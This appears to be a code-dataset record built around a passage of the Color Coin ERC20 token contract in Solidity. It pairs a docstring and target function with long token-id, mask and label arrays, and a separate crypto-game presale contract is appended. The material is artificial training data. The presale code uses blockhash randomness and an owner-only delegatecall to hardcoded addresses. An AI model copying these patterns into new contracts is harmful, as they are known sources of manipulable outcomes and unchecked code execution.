require(msg.sender == founder || msg.sender == admin);
return admin;
}
//
// ERC20 spec.
//
function totalSupply() public view returns (uint256) {
return __totalSupply;
}
// ERC20 spec.
function balanceOf(address _owner) public view returns (uint256) {
return accounts[_owner];
}
function _transfer(address _from, address _to, uint256 _value)
internal returns (bool) {
require(_to != address(0));
require(_value <= accounts[_from]);
// This should go first. If SafeMath.add fails, the sender's balance is not changed
accounts[_to] = accounts[_to].add(_value);
accounts[_from] = accounts[_from].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
// ERC20 spec.
function transfer(address _to, uint256 _value) public returns (bool) {
return _transfer(msg.sender, _to, _value);
}
// ERC20 spec.
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool) {
require(_value <= allowed[_from][msg.sender]);
// _transfer is either successful, or throws.
_transfer(_from, _to, _value);
allowed[_from][msg.sender] -= _value;
emit Approval(_from, msg.sender, allowed[_from][msg.sender]);
return true;
}
// ERC20 spec.
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// ERC20 spec.
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
/// @title Admin can suspend specific wallets in cases of misbehaving or theft.
/// @notice This contract implements methods to lock tranfers, either globally or for specific accounts.
contract _Suspendable is _Base20 {
/// @dev flag whether transfers are allowed on global scale.
/// When `isTransferable` is `false`, all transfers between wallets are blocked.
bool internal isTransferable = false;
/// @dev set of suspended wallets.
/// When `suspendedAddresses[wallet]` is `true`, the `wallet` can't both send and receive COLs.
mapping(address => bool) internal suspendedAddresses;
/// @notice Sets total supply and the addresses of super users - founder and admin.
/// @param _totalSupply Total amount of Color Coin tokens available.
/// @param _founder Address of the founder wallet
/// @param _admin Address of the admin wallet
constructor(uint256 _totalSupply,
address payable _founder,
address _admin) public _Base20(_totalSupply, _founder, _admin)
{
}
/// @dev specifies that the marked method could be used only when transfers are enabled.
/// Founder can always transfer
modifier transferable {
require(isTransferable || msg.sender == founder);
_;
}
/// @notice Getter for the global flag `isTransferable`.
/// @dev Everyone is allowed to view it.
function isTransferEnabled() public view returns (bool) {
return isTransferable;
}
/// @notice Enable tranfers globally.
/// Note that suspended acccounts remain to be suspended.
/// @dev Sets the global flag `isTransferable` to `true`.
function enableTransfer() onlyAdmin public {
isTransferable = true;
}
/// @notice Disable tranfers globally.
/// All transfers between wallets are blocked.
/// @dev Sets the global flag `isTransferable` to `false`.
function disableTransfer() onlyAdmin public {
isTransferable = false;
}
/// @notice Check whether an address is suspended.
/// @dev Everyone can check any address they want.
/// @param _address wallet to check
/// @return returns `true` if the wallet `who` is suspended.
function isSuspended(address _address) public view returns(bool) {
return suspendedAddresses[_address];
}
/// @notice Suspend an individual wallet.
/// @dev Neither the founder nor the admin could be suspended.
/// @param who address of the wallet to suspend.
function suspend(address who) onlyAdmin public {
if (who == founder || who == admin) {
return;
}
suspendedAddresses[who] = true;
}
/// @notice Unsuspend an individual wallet
/// @param who address of the wallet to unsuspend.
function unsuspend(address who) onlyAdmin public {
suspendedAddresses[who] = false;
}
//
// Update of ERC20 functions
//
/// @dev Internal function for transfers updated.
/// Neither source nor destination of the transfer can be suspended.
function _transfer(address _from, address _to, uint256 _value) internal returns (bool) {
require(!isSuspended(_to));
require(!isSuspended(_from));
return super._transfer(_from, _to, _value);
}
/// @notice `transfer` can't happen when transfers are disabled globally
/// @dev added modifier `transferable`.
function transfer(address _to, uint256 _value) public transferable returns (bool) {
return _transfer(msg.sender, _to, _value);
}
/// @notice `transferFrom` can't happen when transfers are disabled globally
/// @dev added modifier `transferable`.
function transferFrom(address _from, address _to, uint256 _value) public transferable returns (bool) {
require(!isSuspended(msg.sender));
return super.transferFrom(_from, _to, _value);
}
// ERC20 spec.
/// @notice `approve` can't happen when transfers disabled globally
/// Suspended users are not allowed to do approvals as well.
/// @dev Added modifier `transferable`.
function approve(address _spender, uint256 _value) public transferable returns (bool) {
require(!isSuspended(msg.sender));
return super.approve(_spender, _value);
}
/// @notice Change founder. New founder must not be suspended.
function changeFounder(address payable who) onlyFounder public {
require(!isSuspended(who));
super.changeFounder(who);
}
/// @notice Change admin. New admin must not be suspended.
function changeAdmin(address who) public {
require(!isSuspended(who));
super.changeAdmin(who);
}
}
/// @title Advanced functions for Color Coin token smart contract.
/// @notice Implements functions for private ICO and super users.
/// @dev Not intended for reuse.
contract ColorCoinBase is _Suspendable {
/// @dev Represents a lock-up period.
struct LockUp {
/// @dev end of the period, in seconds since the epoch.
uint256 unlockDate;
/// @dev amount of coins to be unlocked at the end of the period.
uint256 amount;
}
/// @dev Represents a wallet with lock-up periods.
struct Investor {
/// @dev initial amount of locked COLs
uint256 initialAmount;
/// @dev current amount of locked COLs
uint256 lockedAmount;
/// @dev current lock-up period, index in the array `lockUpPeriods`
uint256 currentLockUpPeriod;
/// @dev the list of lock-up periods
LockUp[] lockUpPeriods;
}
/// @dev Entry in the `adminTransferLog`, that stores the history of admin operations.
struct AdminTransfer {
/// @dev the wallet, where COLs were withdrawn from
address from;
/// @dev the wallet, where COLs were deposited to
address to;
/// @dev amount of coins transferred
uint256 amount;
/// @dev the reason, why super user made this transfer
string reason;
}
/// @notice The event that is fired when a lock-up period expires for a certain wallet.
/// @param who the wallet where the lock-up period expired
/// @param period the number of the expired period
/// @param amount amount of unlocked coins.
event Unlock(address who, uint256 period, uint256 amount);
/// @notice The event that is fired when a super user makes transfer.
/// @param from the wallet, where COLs were withdrawn from
/// @param to the wallet, where COLs were deposited to
/// @param requestedAmount amount of coins, that the super user requested to transfer
/// @param returnedAmount amount of coins, that were actually transferred
/// @param reason the reason, why super user made this transfer
event SuperAction(address from, address to, uint256 requestedAmount, uint256 returnedAmount, string reason);
/// @dev set of wallets with lock-up periods
mapping (address => Investor) internal investors;
/// @dev wallet with the supply of Color Coins.
/// It is used to calculate circulating supply.
address internal supply;
/// @dev amount of Color Coins locked in lock-up wallets.
/// It is used to calculate circulating supply.
uint256 internal totalLocked;
/// @dev the list of transfers performed by super users
AdminTransfer[] internal adminTransferLog;
/// @notice Sets total supply and the addresses of super users - founder and admin.
/// @param _totalSupply Total amount of Color Coin tokens available.
/// @param _founder Address of the founder wallet
/// @param _admin Address of the admin wallet
constructor(uint256 _totalSupply,
address payable _founder,
address _admin
) public _Suspendable (_totalSupply, _founder, _admin)
{
supply = founder;
}
//
// ERC20 spec.
//
/// @notice Returns the balance of a wallet.
/// For wallets with lock-up the result of this function inludes both free floating and locked COLs.
/// @param _owner The address of a wallet.
function balanceOf(address _owner) public view returns (uint256) {
return accounts[_owner] + investors[_owner].lockedAmount;
}
/// @dev Performs transfer from one wallet to another.
/// The maximum amount of COLs to transfer equals to `balanceOf(_from) - getLockedAmount(_from)`.
/// This function unlocks COLs if any of lock-up periods expired at the moment
/// of the transaction execution.
/// Calls `Suspendable._transfer` to do the actual transfer.
/// This function is used by ERC20 `transfer` function.
/// @param _from wallet from which tokens are withdrawn.
/// @param _to wallet to which tokens are deposited.
/// @param _value amount of COLs to transfer.
function _transfer(address _from, address _to, uint256 _value)
internal returns (bool) {
if (hasLockup(_from)) {
tryUnlock(_from);
}
super._transfer(_from, _to, _value);
}
/// @notice The founder sends COLs to early investors and sets lock-up periods.
/// Initially all distributed COL's are locked.
/// @dev Only founder can call this function.
/// @param _to address of the wallet that receives the COls.
/// @param _value amount of COLs that founder sends to the investor's wallet.
/// @param unlockDates array of lock-up period dates.
/// Each date is in seconds since the epoch. After `unlockDates[i]` is expired,
/// the corresponding `amounts[i]` amount of COLs gets unlocked.
/// After expiring the last date in this array all COLs become unlocked.
/// @param amounts array of COL amounts to unlock.
function distribute(address _to, uint256 _value,
uint256[] memory unlockDates, uint256[] memory amounts
) onlyFounder public returns (bool) {
// We distribute invested coins to new wallets only
require(balanceOf(_to) == 0);
require(_value <= accounts[founder]);
require(unlockDates.length == amounts.length);
// We don't check that unlock dates strictly increase.
// That doesn't matter. It will work out in tryUnlock function.
// We don't check that amounts in total equal to _value.
// tryUnlock unlocks no more that _value anyway.
investors[_to].initialAmount = _value;
investors[_to].lockedAmount = _value;
investors[_to].currentLockUpPeriod = 0;
for (uint256 i=0; i<unlockDates.length; i++) {
investors[_to].lockUpPeriods.push(LockUp(unlockDates[i], amounts[i]));
}
// ensureLockUp(_to);
accounts[founder] -= _value;
emit Transfer(founder, _to, _value);
totalLocked = totalLocked.add(_value);
// Check the lock-up periods. If the leading periods are 0 or already expired
// unlock corresponding coins.
tryUnlock(_to);
return true;
}
/// @notice Returns `true` if the wallet has locked COLs
/// @param _address address of the wallet.
/// @return `true` if the wallet has locked COLs and `false` otherwise.
function hasLockup(address _address) public view returns(bool) {
return (investors[_address].lockedAmount > 0);
}
//
// Unlock operations
//
/// @dev tells whether the wallet still has lockup and number of seconds until unlock date.
/// @return locked if `locked` is true, the wallet still has a lockup period, otherwise all lockups expired.
/// @return seconds amount of time in seconds until unlock date. Zero means that it has expired,
/// and the user can invoke `doUnlock` to release corresponding coins.
function _nextUnlockDate(address who) internal view returns (bool, uint256) {
if (!hasLockup(who)) {
return (false, 0);
}
uint256 i = investors[who].currentLockUpPeriod;
// This must not happen! but still...
// If all lockup periods have expired, but there are still locked coins,
// tell the user to unlock.
if (i == investors[who].lockUpPeriods.length) return (true, 0);
if (now < investors[who].lockUpPeriods[i].unlockDate) {
// If the next unlock date is in the future, return the number of seconds left
return (true, investors[who].lockUpPeriods[i].unlockDate - now);
} else {
// The current unlock period has expired.
return (true, 0);
}
}
/// @notice tells the wallet owner whether the wallet still has lockup and number of seconds until unlock date.
/// @return locked if `locked` is true, the wallet still has a lockup period, otherwise all lockups expired.
/// @return seconds amount of time in seconds until unlock date. Zero means that it has expired,
/// and the user can invoke `doUnlock` to release corresponding coins.
function nextUnlockDate() public view returns (bool, uint256) {
return _nextUnlockDate(msg.sender);
}
/// @notice tells to the admin whether the wallet still has lockup and number of seconds until unlock date.
/// @return locked if `locked` is true, the wallet still has a lockup period, otherwise all lockups expired.
/// @return seconds amount of time in seconds until unlock date. Zero means that it has expired,
/// and the user can invoke `doUnlock` to release corresponding coins.
function nextUnlockDate_Admin(address who) public view onlyAdmin returns (bool, uint256) {
return _nextUnlockDate(who);
}
/// @notice the wallet owner signals that the next unlock period has passed, and some coins could be unlocked
function doUnlock() public {
tryUnlock(msg.sender);
}
/// @notice admin unlocks coins in the wallet, if any
/// @param who the wallet to unlock coins
function doUnlock_Admin(address who) public onlyAdmin {
tryUnlock(who);
}
/// @notice Returns the amount of locked coins in the wallet.
/// This function tells the amount of coins to the wallet owner only.
/// @return amount of locked COLs by `now`.
function getLockedAmount() public view returns (uint256) {
return investors[msg.sender].lockedAmount;
}
/// @notice Returns the amount of locked coins in the wallet.
/// @return amount of locked COLs by `now`.
function getLockedAmount_Admin(address who) public view onlyAdmin returns (uint256) {
return investors[who].lockedAmount;
}
function tryUnlock(address _address) internal {
if (!hasLockup(_address)) {
return ;
}
uint256 amount = 0;
uint256 i;
uint256 start = investors[_address].currentLockUpPeriod;
uint256 end = investors[_address].lockUpPeriods.length;
for ( i = start;
i < end;
i++)
{
if (investors[_address].lockUpPeriods[i].unlockDate <= now) {
amount += investors[_address].lockUpPeriods[i].amount;
} else {
break;
}
}
if (i == investors[_address].lockUpPeriods.length) {
// all unlock periods expired. Unlock all
amount = investors[_address].lockedAmount;
} else if (amount > investors[_address].lockedAmount) {
amount = investors[_address].lockedAmount;
}
if (amount > 0 || i > start) {
investors[_address].lockedAmount = investors[_address].lockedAmount.sub(amount);
investors[_address].currentLockUpPeriod = i;
accounts[_address] = accounts[_address].add(amount);
emit Unlock(_address, i, amount);
totalLocked = totalLocked.sub(amount);
}
}
//
// Admin privileges - return coins in the case of errors or theft
//
modifier superuser {
require(msg.sender == admin || msg.sender == founder);
_;
}
/// @notice Super user (founder or admin) unconditionally transfers COLs from one account to another.
/// This function is designed as the last resort in the case of mistake or theft.
/// Superuser provides verbal description of the reason to perform this operation.
/// @dev Only superuser can call this function.
/// @param from the wallet, where COLs were withdrawn from
/// @param to the wallet, where COLs were deposited to
/// @param amount amount of coins transferred
/// @param reason description of the reason, why super user invokes this transfer
function adminTransfer(address from, address to, uint256 amount, string memory reason) public superuser {
if (amount == 0) return;
uint256 requested = amount;
// Revert as much as possible
if (accounts[from] < amount) {
amount = accounts[from];
}
accounts[from] -= amount;
accounts[to] = accounts[to].add(amount);
emit SuperAction(from, to, requested, amount, reason);
adminTransferLog.push(AdminTransfer(from, to, amount, reason));
}
/// @notice Returns size of the history of super user actions
/// @return the number of elements in the log
function getAdminTransferLogSize() public view superuser returns (uint256) {
return adminTransferLog.length;
}
/// @notice Returns an element from the history of super user actions
/// @param pos index of element in the log, the oldest element has index `0`
/// @return tuple `(from, to, amount, reason)`. See description of `adminTransfer` function.
function getAdminTransferLogItem(uint32 pos) public view superuser
returns (address from, address to, uint256 amount, string memory reason)
{
require(pos < adminTransferLog.length);
AdminTransfer storage item = adminTransferLog[pos];
return (item.from, item.to, item.amount, item.reason);
}
//
// Circulating supply
//
/// @notice Returns the circulating supply of Color Coins.
/// It consists of all unlocked coins in user wallets.
function circulatingSupply() public view returns(uint256) {
return __totalSupply.sub(accounts[supply]).sub(totalLocked);
}
//
// Release contract
//
/// @notice Calls `selfdestruct` operator and transfers all Ethers to the founder (if any)
function destroy() public onlyAdmin {
selfdestruct(founder);
}
}
/// @title Dedicated methods for Pixel program
/// @notice Pixels are a type of “airdrop” distributed to all Color Coin wallet holders,
/// five Pixels a day. They are awarded on a periodic basis. Starting from Sunday GMT 0:00,
/// the Pixels have a lifespan of 24 hours. Pixels in their original form do not have any value.
/// The only way Pixels have value is by sending them to other wallet holders.
/// Pixels must be sent to another person’s account within 24 hours or they will become void.
/// Each user can send up to five Pixels to a single account per week. Once a wallet holder receives Pixels,
/// the Pixels will become Color Coins. The received Pixels may be converted to Color Coins
/// on weekly basis, after Saturday GMT 24:00.
/// @dev Pixel distribution might require thousands and tens of thousands transactions.
/// The methods in this contract consume less gas compared to batch transactions.
contract ColorCoinWithPixel is ColorCoinBase {
address internal pixelAccount;
/// @dev The rate to convert pixels to Color Coins
uint256 internal pixelConvRate;
/// @dev Methods could be called by either the founder of the dedicated account.
modifier pixelOrFounder {
require(msg.sender == founder || msg.sender == pixelAccount);
_;
}
function circulatingSupply() public view returns(uint256) {
uint256 result = super.circulatingSupply();
return result - balanceOf(pixelAccount);
}
/// @notice Initialises a newly created instance.
/// @dev Initialises Pixel-related data and transfers `_pixelCoinSupply` COLs
/// from the `_founder` to `_pixelAccount`.
/// @param _totalSupply Total amount of Color Coin tokens available.
/// @param _founder Address of the founder wallet
/// @param _admin Address of the admin wallet
/// @param _pixelCoinSupply Amount of tokens dedicated for Pixel program
/// @param _pixelAccount Address of the account that keeps coins for the Pixel program
constructor(uint256 _totalSupply,
address payable _founder,
address _admin,
uint256 _pixelCoinSupply,
address _pixelAccount
) public ColorCoinBase (_totalSupply, _founder, _admin)
{
require(_pixelAccount != _founder);
require(_pixelAccount != _admin);
pixelAccount = _pixelAccount;
accounts[pixelAccount] = _pixelCoinSupply;
accounts[_founder] = accounts[_founder].sub(_pixelCoinSupply);
emit Transfer(founder, pixelAccount, accounts[pixelAccount]);
}
/// @notice Founder or the pixel account set the pixel conversion rate.
/// Pixel team first sets this conversion rate and then start sending COLs
/// in exchange of pixels that people have received.
/// @dev This rate is used in `sendCoinsForPixels` functions to calculate the amount
/// COLs to transfer to pixel holders.
function setPixelConversionRate(uint256 _pixelConvRate) public pixelOrFounder {
pixelConvRate = _pixelConvRate;
}
/// @notice Get the conversion rate that was used in the most recent exchange of pixels to COLs.
function getPixelConversionRate() public view returns (uint256) {
return pixelConvRate;
}
/// @notice Distribute COL coins for pixels
/// COLs are spent from `pixelAccount` wallet. The amount of COLs is equal to `getPixelConversionRate() * pixels`
/// @dev Only founder and pixel account can invoke this function.
/// @param pixels Amount of pixels to exchange into COLs
/// @param destination The wallet that holds the pixels.
function sendCoinsForPixels(
uint32 pixels, address destination
) public pixelOrFounder {
uint256 coins = pixels*pixelConvRate;
if (coins == 0) return;
require(coins <= accounts[pixelAccount]);
accounts[destination] = accounts[destination].add(coins);
accounts[pixelAccount] -= coins;
}
/// @notice Distribute COL coins for pixels to multiple users.
/// This function consumes less gas compared to a batch transaction of `sendCoinsForPixels`.
/// `pixels[i]` specifies the amount of pixels belonging to `destinations[i]` wallet.
/// COLs are spent from `pixelAccount` wallet. The amount of COLs sent to i-th wallet is equal to `getPixelConversionRate() * pixels[i]`
/// @dev Only founder and pixel account can invoke this function.
/// @param pixels Array of pixel amounts to exchange into COLs
/// @param destinations Array of addresses of wallets that hold pixels.
function sendCoinsForPixels_Batch(
uint32[] memory pixels,
address[] memory destinations
) public pixelOrFounder {
require(pixels.length == destinations.length);
uint256 total = 0;
for (uint256 i = 0; i < pixels.length; i++) {
uint256 coins = pixels[i]*pixelConvRate;
address dst = destinations[i];
accounts[dst] = accounts[dst].add(coins);
total += coins;
}
require(total <= accounts[pixelAccount]);
accounts[pixelAccount] -= total;
}
/// @notice Distribute COL coins for pixels to multiple users.
/// COLs are spent from `pixelAccount` wallet. The amount of COLs sent to each wallet is equal to `getPixelConversionRate() * pixels`
/// @dev The difference between `sendCoinsForPixels_Array` and `sendCoinsForPixels_Batch`
/// is that all destination wallets hold the same amount of pixels.
/// This optimization saves about 10% of gas compared to `sendCoinsForPixels_Batch`
/// with the same amount of recipients.
/// @param pixels Amount of pixels to exchange. All of `recipients` hold the same amount of pixels.
/// @param recipients Addresses of wallets, holding `pixels` amount of pixels.
function sendCoinsForPixels_Array(
uint32 pixels, address[] memory recipients
) public pixelOrFounder {
uint256 coins = pixels*pixelConvRate;
uint256 total = coins * recipients.length;
if (total == 0) return;
require(total <= accounts[pixelAccount]);
for (uint256 i; i < recipients.length; i++) {
address dst = recipients[i];
accounts[dst] = accounts[dst].add(coins);
}
accounts[pixelAccount] -= total;
}
}
/// @title Smart contract for Color Coin token.
/// @notice Color is the next generation platform for high-performance sophisticated decentralized applications (dApps). https://www.colors.org/
/// @dev Not intended for reuse.
contract ColorCoin is ColorCoinWithPixel {
/// @notice Token name
string public constant name = "Color Coin";
/// @notice Token symbol
string public constant symbol = "COL";
/// @notice Precision in fixed point arithmetics
uint8 public constant decimals = 18;
/// @notice Initialises a newly created instance
/// @param _totalSupply Total amount of Color Coin tokens available.
/// @param _founder Address of the founder wallet
/// @param _admin Address of the admin wallet
/// @param _pixelCoinSupply Amount of tokens dedicated for Pixel program
/// @param _pixelAccount Address of the account that keeps coins for the Pixel program
constructor(uint256 _totalSupply,
address payable _founder,
address _admin,
uint256 _pixelCoinSupply,
address _pixelAccount
) public ColorCoinWithPixel (_totalSupply, _founder, _admin, _pixelCoinSupply, _pixelAccount)
{
}
} | @notice Returns an element from the history of super user actions @param pos index of element in the log, the oldest element has index `0` @return tuple `(from, to, amount, reason)`. See description of `adminTransfer` function. | function getAdminTransferLogItem(uint32 pos) public view superuser
returns (address from, address to, uint256 amount, string memory reason)
{
require(pos < adminTransferLog.length);
AdminTransfer storage item = adminTransferLog[pos];
return (item.from, item.to, item.amount, item.reason);
}
| 6,454,999 | [
1,
1356,
392,
930,
628,
326,
4927,
434,
2240,
729,
4209,
282,
949,
282,
770,
434,
930,
316,
326,
613,
16,
326,
17067,
930,
711,
770,
1375,
20,
68,
327,
3193,
1375,
12,
2080,
16,
358,
16,
3844,
16,
3971,
13,
8338,
2164,
2477,
434,
1375,
3666,
5912,
68,
445,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
22501,
5912,
1343,
1180,
12,
11890,
1578,
949,
13,
1071,
1476,
2240,
1355,
203,
565,
1135,
261,
2867,
628,
16,
1758,
358,
16,
2254,
5034,
3844,
16,
533,
3778,
3971,
13,
203,
225,
288,
203,
565,
2583,
12,
917,
411,
3981,
5912,
1343,
18,
2469,
1769,
203,
565,
7807,
5912,
2502,
761,
273,
3981,
5912,
1343,
63,
917,
15533,
203,
565,
327,
261,
1726,
18,
2080,
16,
761,
18,
869,
16,
761,
18,
8949,
16,
761,
18,
10579,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2018-02-06
*/
pragma solidity ^0.4.2;
// import "./Pausable.sol";
// import "./CratePreSale.sol";
contract NewCratePreSale {
// migration functions migrate the data from the previous contract in stages
// all addresses are included for transparency and easy verification
// however addresses with no robots (i.e. failed transaction and never bought properly) have been commented out.
// to view the full list of state assignments, go to etherscan.io/address/{address} and you can view the verified
mapping (address => uint[]) public userToRobots;
function _migrate(uint _index) external onlyOwner {
bytes4 selector = bytes4(sha3("setData()"));
address a = migrators[_index];
require(a.delegatecall(selector));
}
// source code - feel free to verify the migration
address[6] migrators = [
0x700febd9360ac0a0a72f371615427bec4e4454e5, //0x97ae01893e42d6d33fd9851a28e5627222af7bbb,
0x72cc898de0a4eac49c46ccb990379099461342f6,
0xc3cc48da3b8168154e0f14bf0446c7a93613f0a7,
0x4cc96f2ddf6844323ae0d8461d418a4d473b9ac3,
0xa52bfcb5ff599e29ee2b9130f1575babaa27de0a,
0xe503b42aabda22974e2a8b75fa87e010e1b13584
];
function NewCratePreSale() public payable {
owner = msg.sender;
// one time transfer of state from the previous contract
// var previous = CratePreSale(0x3c7767011C443EfeF2187cf1F2a4c02062da3998); //MAINNET
// oldAppreciationRateWei = previous.appreciationRateWei();
oldAppreciationRateWei = 100000000000000;
appreciationRateWei = oldAppreciationRateWei;
// oldPrice = previous.currentPrice();
oldPrice = 232600000000000000;
currentPrice = oldPrice;
// oldCratesSold = previous.cratesSold();
oldCratesSold = 1075;
cratesSold = oldCratesSold;
// Migration Rationale
// due to solidity issues with enumerability (contract calls cannot return dynamic arrays etc)
// no need for trust -> can still use web3 to call the previous contract and check the state
// will only change in the future if people send more eth
// and will be obvious due to change in crate count. Any purchases on the old contract
// after this contract is deployed will be fully refunded, and those robots bought will be voided.
// feel free to validate any address on the old etherscan:
// https://etherscan.io/address/0x3c7767011C443EfeF2187cf1F2a4c02062da3998
// can visit the exact contracts at the addresses listed above
}
// ------ STATE ------
uint256 constant public MAX_CRATES_TO_SELL = 3900; // Max no. of robot crates to ever be sold
uint256 constant public PRESALE_END_TIMESTAMP = 1518699600; // End date for the presale - no purchases can be made after this date - Midnight 16 Feb 2018 UTC
uint256 public appreciationRateWei;
uint32 public cratesSold;
uint256 public currentPrice;
// preserve these for later verification
uint32 public oldCratesSold;
uint256 public oldPrice;
uint256 public oldAppreciationRateWei;
// mapping (address => uint32) public userCrateCount; // replaced with more efficient method
// store the unopened crates of this user
// actually stores the blocknumber of each crate
mapping (address => uint[]) public addressToPurchasedBlocks;
// store the number of expired crates for each user
// i.e. crates where the user failed to open the crate within 256 blocks (~1 hour)
// these crates will be able to be opened post-launch
mapping (address => uint) public expiredCrates;
// store the part information of purchased crates
function openAll() public {
uint len = addressToPurchasedBlocks[msg.sender].length;
require(len > 0);
uint8 count = 0;
// len > i to stop predicatable wraparound
for (uint i = len - 1; i >= 0 && len > i; i--) {
uint crateBlock = addressToPurchasedBlocks[msg.sender][i];
require(block.number > crateBlock);
// can't open on the same timestamp
var hash = block.blockhash(crateBlock);
if (uint(hash) != 0) {
// different results for all different crates, even on the same block/same user
// randomness is already taken care of
uint rand = uint(keccak256(hash, msg.sender, i)) % (10 ** 20);
userToRobots[msg.sender].push(rand);
count++;
} else {
// all others will be expired
expiredCrates[msg.sender] += (i + 1);
break;
}
}
CratesOpened(msg.sender, count);
delete addressToPurchasedBlocks[msg.sender];
}
// ------ EVENTS ------
event CratesPurchased(address indexed _from, uint8 _quantity);
event CratesOpened(address indexed _from, uint8 _quantity);
// ------ FUNCTIONS ------
function getPrice() view public returns (uint256) {
return currentPrice;
}
function getRobotCountForUser(address _user) external view returns(uint256) {
return userToRobots[_user].length;
}
function getRobotForUserByIndex(address _user, uint _index) external view returns(uint) {
return userToRobots[_user][_index];
}
function getRobotsForUser(address _user) view public returns (uint[]) {
return userToRobots[_user];
}
function getPendingCratesForUser(address _user) external view returns(uint[]) {
return addressToPurchasedBlocks[_user];
}
function getPendingCrateForUserByIndex(address _user, uint _index) external view returns(uint) {
return addressToPurchasedBlocks[_user][_index];
}
function getExpiredCratesForUser(address _user) external view returns(uint) {
return expiredCrates[_user];
}
function incrementPrice() private {
// Decrease the rate of increase of the crate price
// as the crates become more expensive
// to avoid runaway pricing
// (halving rate of increase at 0.1 ETH, 0.2 ETH, 0.3 ETH).
if ( currentPrice == 100000000000000000 ) {
appreciationRateWei = 200000000000000;
} else if ( currentPrice == 200000000000000000) {
appreciationRateWei = 100000000000000;
} else if (currentPrice == 300000000000000000) {
appreciationRateWei = 50000000000000;
}
currentPrice += appreciationRateWei;
}
function purchaseCrates(uint8 _cratesToBuy) public payable whenNotPaused {
require(now < PRESALE_END_TIMESTAMP); // Check presale is still ongoing.
require(_cratesToBuy <= 10); // Can only buy max 10 crates at a time. Don't be greedy!
require(_cratesToBuy >= 1); // Sanity check. Also, you have to buy a crate.
require(cratesSold + _cratesToBuy <= MAX_CRATES_TO_SELL); // Check max crates sold is less than hard limit
uint256 priceToPay = _calculatePayment(_cratesToBuy);
require(msg.value >= priceToPay); // Check buyer sent sufficient funds to purchase
if (msg.value > priceToPay) { //overpaid, return excess
msg.sender.transfer(msg.value-priceToPay);
}
//all good, payment received. increment number sold, price, and generate crate receipts!
cratesSold += _cratesToBuy;
for (uint8 i = 0; i < _cratesToBuy; i++) {
incrementPrice();
addressToPurchasedBlocks[msg.sender].push(block.number);
}
CratesPurchased(msg.sender, _cratesToBuy);
}
function _calculatePayment (uint8 _cratesToBuy) private view returns (uint256) {
uint256 tempPrice = currentPrice;
for (uint8 i = 1; i < _cratesToBuy; i++) {
tempPrice += (currentPrice + (appreciationRateWei * i));
} // for every crate over 1 bought, add current Price and a multiple of the appreciation rate
// very small edge case of buying 10 when you the appreciation rate is about to halve
// is compensated by the great reduction in gas by buying N at a time.
return tempPrice;
}
//owner only withdrawal function for the presale
function withdraw() onlyOwner public {
owner.transfer(this.balance);
}
function addFunds() onlyOwner external payable {
}
event SetPaused(bool paused);
// starts unpaused
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() external onlyOwner whenNotPaused returns (bool) {
paused = true;
SetPaused(paused);
return true;
}
function unpause() external onlyOwner whenPaused returns (bool) {
paused = false;
SetPaused(paused);
return true;
}
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
